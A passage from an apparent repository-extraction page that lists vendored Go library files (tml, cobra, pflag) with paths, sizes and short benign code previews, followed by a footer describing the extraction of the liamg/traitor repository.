"preview": "package tml\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n)\n\n// Parser is used to parse a TML string into an output string containin"
},
{
"path": "vendor/github.com/liamg/tml/printf.go",
"chars": 554,
"preview": "package tml\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n)\n\n// Printf works like fmt.Printf, but adds the option of using tags to apply "
},
{
"path": "vendor/github.com/liamg/tml/println.go",
"chars": 405,
"preview": "package tml\n\nimport (\n\t\"io\"\n\t\"os\"\n)\n\n// Println works like fmt.Println, but adds the option of using tags to apply colou"
},
{
"path": "vendor/github.com/liamg/tml/sprintf.go",
"chars": 454,
"preview": "package tml\n\nimport \"fmt\"\n\n// Sprintf works like fmt.Sprintf, but adds the option of using tags to apply colour or text "
},
{
"path": "vendor/github.com/liamg/tml/tags.go",
"chars": 1253,
"preview": "package tml\n\nvar fgTags = map[string]string{\n\t\"red\": \"\\x1b[31m\",\n\t\"green\": \"\\x1b[32m\",\n\t\"yellow\": "
},
{
"path": "vendor/github.com/spf13/cobra/.gitignore",
"chars": 484,
"preview": "# Compiled Object files, Static and Dynamic libs (Shared Objects)\n*.o\n*.a\n*.so\n\n# Folders\n_obj\n_test\n\n# Architecture spe"
},
{
"path": "vendor/github.com/spf13/cobra/.golangci.yml",
"chars": 720,
"preview": "run:\n deadline: 5m\n\nlinters:\n disable-all: true\n enable:\n #- bodyclose\n - deadcode\n #- depguard\n #- dogsl"
},
{
"path": "vendor/github.com/spf13/cobra/.mailmap",
"chars": 171,
"preview": "Steve Francia <steve.francia@gmail.com>\nBjørn Erik Pedersen <bjorn.erik.pedersen@gmail.com>\nFabiano Franz <ffranz@redhat"
},
{
"path": "vendor/github.com/spf13/cobra/CONDUCT.md",
"chars": 3122,
"preview": "## Cobra User Contract\n\n### Versioning\nCobra will follow a steady release cadence. Non breaking changes will be released"
},
{
"path": "vendor/github.com/spf13/cobra/CONTRIBUTING.md",
"chars": 2097,
"preview": "# Contributing to Cobra\n\nThank you so much for contributing to Cobra. We appreciate your time and help.\nHere are some gu"
},
{
"path": "vendor/github.com/spf13/cobra/LICENSE.txt",
"chars": 10140,
"preview": " Apache License\n Version 2.0, January 2004\n "
},
{
"path": "vendor/github.com/spf13/cobra/MAINTAINERS",
"chars": 137,
"preview": "maintainers:\n- spf13\n- johnSchnake\n- jpmcb\n- marckhouzam\ninactive:\n- anthonyfok\n- bep\n- bogem\n- broady\n- eparis\n- jharsh"
},
{
"path": "vendor/github.com/spf13/cobra/Makefile",
"chars": 903,
"preview": "BIN=\"./bin\"\nSRC=$(shell find . -name \"*.go\")\n\nifeq (, $(shell which golangci-lint))\n$(warning \"could not find golangci-l"
},
{
"path": "vendor/github.com/spf13/cobra/README.md",
"chars": 4356,
"preview": "\n\nCobr"
},
{
"path": "vendor/github.com/spf13/cobra/active_help.go",
"chars": 2099,
"preview": "package cobra\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n)\n\nconst (\n\tactiveHelpMarker = \"_activeHelp_ \"\n\t// The below values shou"
},
{
"path": "vendor/github.com/spf13/cobra/active_help.md",
"chars": 8550,
"preview": "# Active Help\n\nActive Help is a framework provided by Cobra which allows a program to define messages (hints, warnings, "
},
{
"path": "vendor/github.com/spf13/cobra/args.go",
"chars": 3481,
"preview": "package cobra\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\ntype PositionalArgs func(cmd *Command, args []string) error\n\n// Legacy arg "
},
{
"path": "vendor/github.com/spf13/cobra/bash_completions.go",
"chars": 22424,
"preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/spf13/pflag\"\n)\n\n// Annotations for "
},
{
"path": "vendor/github.com/spf13/cobra/bash_completions.md",
"chars": 3805,
"preview": "# Generating Bash Completions For Your cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md) for deta"
},
{
"path": "vendor/github.com/spf13/cobra/bash_completionsV2.go",
"chars": 12290,
"preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n)\n\nfunc (c *Command) genBashCompletion(w io.Writer, includeDesc bool"
},
{
"path": "vendor/github.com/spf13/cobra/cobra.go",
"chars": 6736,
"preview": "// Copyright © 2013 Steve Francia <spf@spf13.com>.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");"
},
{
"path": "vendor/github.com/spf13/cobra/command.go",
"chars": 48844,
"preview": "// Copyright © 2013 Steve Francia <spf@spf13.com>.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");"
},
{
"path": "vendor/github.com/spf13/cobra/command_notwin.go",
"chars": 88,
"preview": "//go:build !windows\n// +build !windows\n\npackage cobra\n\nvar preExecHookFn func(*Command)\n"
},
{
"path": "vendor/github.com/spf13/cobra/command_win.go",
"chars": 452,
"preview": "//go:build windows\n// +build windows\n\npackage cobra\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/inconshreveable/mousetr"
},
{
"path": "vendor/github.com/spf13/cobra/completions.go",
"chars": 31360,
"preview": "package cobra\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/spf13/pflag\"\n)\n\nconst (\n\t// ShellCompRequestCmd is"
},
{
"path": "vendor/github.com/spf13/cobra/fish_completions.go",
"chars": 8225,
"preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n)\n\nfunc genFishComp(buf io.StringWriter, name string, inc"
},
{
"path": "vendor/github.com/spf13/cobra/fish_completions.md",
"chars": 127,
"preview": "## Generating Fish Completions For Your cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md) for det"
},
{
"path": "vendor/github.com/spf13/cobra/flag_groups.go",
"chars": 7199,
"preview": "// Copyright © 2022 Steve Francia <spf@spf13.com>.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");"
},
{
"path": "vendor/github.com/spf13/cobra/powershell_completions.go",
"chars": 10808,
"preview": "// The generated scripts require PowerShell v5.0+ (which comes Windows 10, but\n// can be downloaded separately for windo"
},
{
"path": "vendor/github.com/spf13/cobra/powershell_completions.md",
"chars": 158,
"preview": "# Generating PowerShell Completions For Your Own cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md"
},
{
"path": "vendor/github.com/spf13/cobra/projects_using_cobra.md",
"chars": 2639,
"preview": "## Projects using Cobra\n\n- [Arduino CLI](https://github.com/arduino/arduino-cli)\n- [Bleve](https://blevesearch.com/)\n- ["
},
{
"path": "vendor/github.com/spf13/cobra/shell_completions.go",
"chars": 3748,
"preview": "package cobra\n\nimport (\n\t\"github.com/spf13/pflag\"\n)\n\n// MarkFlagRequired instructs the various shell completion implemen"
},
{
"path": "vendor/github.com/spf13/cobra/shell_completions.md",
"chars": 24748,
"preview": "# Generating shell completions\n\nCobra can generate shell completions for multiple shells.\nThe currently supported shells"
},
{
"path": "vendor/github.com/spf13/cobra/user_guide.md",
"chars": 20417,
"preview": "# User Guide\n\nWhile you are welcome to provide your own organization, typically a Cobra-based\napplication will follow th"
},
{
"path": "vendor/github.com/spf13/cobra/zsh_completions.go",
"chars": 10158,
"preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n)\n\n// GenZshCompletionFile generates zsh completion file including d"
},
{
"path": "vendor/github.com/spf13/cobra/zsh_completions.md",
"chars": 3647,
"preview": "## Generating Zsh Completion For Your cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md) for detai"
},
{
"path": "vendor/github.com/spf13/pflag/.gitignore",
"chars": 9,
"preview": ".idea/*\n\n"
},
{
"path": "vendor/github.com/spf13/pflag/.travis.yml",
"chars": 261,
"preview": "sudo: false\n\nlanguage: go\n\ngo:\n - 1.9.x\n - 1.10.x\n - 1.11.x\n - tip\n\nmatrix:\n allow_failures:\n - go: tip\n\ninstall"
},
{
"path": "vendor/github.com/spf13/pflag/LICENSE",
"chars": 1531,
"preview": "Copyright (c) 2012 Alex Ogier. All rights reserved.\nCopyright (c) 2012 The Go Authors. All rights reserved.\n\nRedistribut"
},
{
"path": "vendor/github.com/spf13/pflag/README.md",
"chars": 9774,
"preview": "[](https://travis-ci.org/spf13/pflag)\n[![Go Report C"
},
{
"path": "vendor/github.com/spf13/pflag/bool.go",
"chars": 3072,
"preview": "package pflag\n\nimport \"strconv\"\n\n// optional interface to indicate boolean flags that can be\n// supplied without \"=value"
},
{
"path": "vendor/github.com/spf13/pflag/bool_slice.go",
"chars": 5321,
"preview": "package pflag\n\nimport (\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- boolSlice Value\ntype boolSliceValue struct {\n\tvalue *[]bo"
},
{
"path": "vendor/github.com/spf13/pflag/bytes.go",
"chars": 7169,
"preview": "package pflag\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n// BytesHex adapts []byte for use as a f"
},
{
"path": "vendor/github.com/spf13/pflag/count.go",
"chars": 2963,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- count Value\ntype countValue int\n\nfunc newCountValue(val int, p *int) *countValue "
},
{
"path": "vendor/github.com/spf13/pflag/duration.go",
"chars": 3317,
"preview": "package pflag\n\nimport (\n\t\"time\"\n)\n\n// -- time.Duration Value\ntype durationValue time.Duration\n\nfunc newDurationValue(val"
},
{
"path": "vendor/github.com/spf13/pflag/duration_slice.go",
"chars": 5131,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n)\n\n// -- durationSlice Value\ntype durationSliceValue struct {\n\tvalue "
},
{
"path": "vendor/github.com/spf13/pflag/flag.go",
"chars": 36337,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "vendor/github.com/spf13/pflag/float32.go",
"chars": 3168,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- float32 Value\ntype float32Value float32\n\nfunc newFloat32Value(val float32, p *flo"
},
{
"path": "vendor/github.com/spf13/pflag/float32_slice.go",
"chars": 5042,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- float32Slice Value\ntype float32SliceValue struct {\n\tvalue "
},
{
"path": "vendor/github.com/spf13/pflag/float64.go",
"chars": 3105,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- float64 Value\ntype float64Value float64\n\nfunc newFloat64Value(val float64, p *flo"
},
{
"path": "vendor/github.com/spf13/pflag/float64_slice.go",
"chars": 4879,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- float64Slice Value\ntype float64SliceValue struct {\n\tvalue "
},
{
"path": "vendor/github.com/spf13/pflag/golangflag.go",
"chars": 2813,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "vendor/github.com/spf13/pflag/int.go",
"chars": 2780,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- int Value\ntype intValue int\n\nfunc newIntValue(val int, p *int) *intValue {\n\t*p = "
},
{
"path": "vendor/github.com/spf13/pflag/int16.go",
"chars": 3014,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- int16 Value\ntype int16Value int16\n\nfunc newInt16Value(val int16, p *int16) *int16"
},
{
"path": "vendor/github.com/spf13/pflag/int32.go",
"chars": 3013,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- int32 Value\ntype int32Value int32\n\nfunc newInt32Value(val int32, p *int32) *int32"
},
{
"path": "vendor/github.com/spf13/pflag/int32_slice.go",
"chars": 4863,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- int32Slice Value\ntype int32SliceValue struct {\n\tvalue *["
},
{
"path": "vendor/github.com/spf13/pflag/int64.go",
"chars": 2952,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- int64 Value\ntype int64Value int64\n\nfunc newInt64Value(val int64, p *int64) *int64"
},
{
"path": "vendor/github.com/spf13/pflag/int64_slice.go",
"chars": 4710,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- int64Slice Value\ntype int64SliceValue struct {\n\tvalue *["
},
{
"path": "vendor/github.com/spf13/pflag/int8.go",
"chars": 2935,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- int8 Value\ntype int8Value int8\n\nfunc newInt8Value(val int8, p *int8) *int8Value {"
},
{
"path": "vendor/github.com/spf13/pflag/int_slice.go",
"chars": 4331,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- intSlice Value\ntype intSliceValue struct {\n\tvalue *[]int"
},
{
"path": "vendor/github.com/spf13/pflag/ip.go",
"chars": 3043,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n)\n\n// -- net.IP value\ntype ipValue net.IP\n\nfunc newIPValue(val net.IP, "
},
{
"path": "vendor/github.com/spf13/pflag/ip_slice.go",
"chars": 5412,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n)\n\n// -- ipSlice Value\ntype ipSliceValue struct {\n\tvalue *[]net"
},
{
"path": "vendor/github.com/spf13/pflag/ipmask.go",
"chars": 4052,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n)\n\n// -- net.IPMask value\ntype ipMaskValue net.IPMask\n\nfunc newIPMaskVa"
},
{
"path": "vendor/github.com/spf13/pflag/ipnet.go",
"chars": 3330,
"preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n)\n\n// IPNet adapts net.IPNet for use as a flag.\ntype ipNetValue net.IPN"
},
{
"path": "vendor/github.com/spf13/pflag/string.go",
"chars": 2925,
"preview": "package pflag\n\n// -- string Value\ntype stringValue string\n\nfunc newStringValue(val string, p *string) *stringValue {\n\t*p"
},
{
"path": "vendor/github.com/spf13/pflag/string_array.go",
"chars": 4406,
"preview": "package pflag\n\n// -- stringArray Value\ntype stringArrayValue struct {\n\tvalue *[]string\n\tchanged bool\n}\n\nfunc newString"
},
{
"path": "vendor/github.com/spf13/pflag/string_slice.go",
"chars": 5171,
"preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"encoding/csv\"\n\t\"strings\"\n)\n\n// -- stringSlice Value\ntype stringSliceValue struct {\n\tv"
},
{
"path": "vendor/github.com/spf13/pflag/string_to_int.go",
"chars": 4856,
"preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- stringToInt Value\ntype stringToIntValue struct {\n"
},
{
"path": "vendor/github.com/spf13/pflag/string_to_int64.go",
"chars": 5041,
"preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- stringToInt64 Value\ntype stringToInt64Value struc"
},
{
"path": "vendor/github.com/spf13/pflag/string_to_string.go",
"chars": 5360,
"preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"encoding/csv\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n// -- stringToString Value\ntype stringToStringValu"
},
{
"path": "vendor/github.com/spf13/pflag/uint.go",
"chars": 2935,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint Value\ntype uintValue uint\n\nfunc newUintValue(val uint, p *uint) *uintValue {"
},
{
"path": "vendor/github.com/spf13/pflag/uint16.go",
"chars": 3072,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint16 value\ntype uint16Value uint16\n\nfunc newUint16Value(val uint16, p *uint16) "
},
{
"path": "vendor/github.com/spf13/pflag/uint32.go",
"chars": 3088,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint32 value\ntype uint32Value uint32\n\nfunc newUint32Value(val uint32, p *uint32) "
},
{
"path": "vendor/github.com/spf13/pflag/uint64.go",
"chars": 3085,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint64 Value\ntype uint64Value uint64\n\nfunc newUint64Value(val uint64, p *uint64) "
},
{
"path": "vendor/github.com/spf13/pflag/uint8.go",
"chars": 3007,
"preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint8 Value\ntype uint8Value uint8\n\nfunc newUint8Value(val uint8, p *uint8) *uint8"
}
]
// ... and 367 more files (download for full content)
About this extraction
This page contains the full source code of the liamg/traitor GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 567 files (7.6 MB), approximately 2.0M tokens, and a symbol index with 86415 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.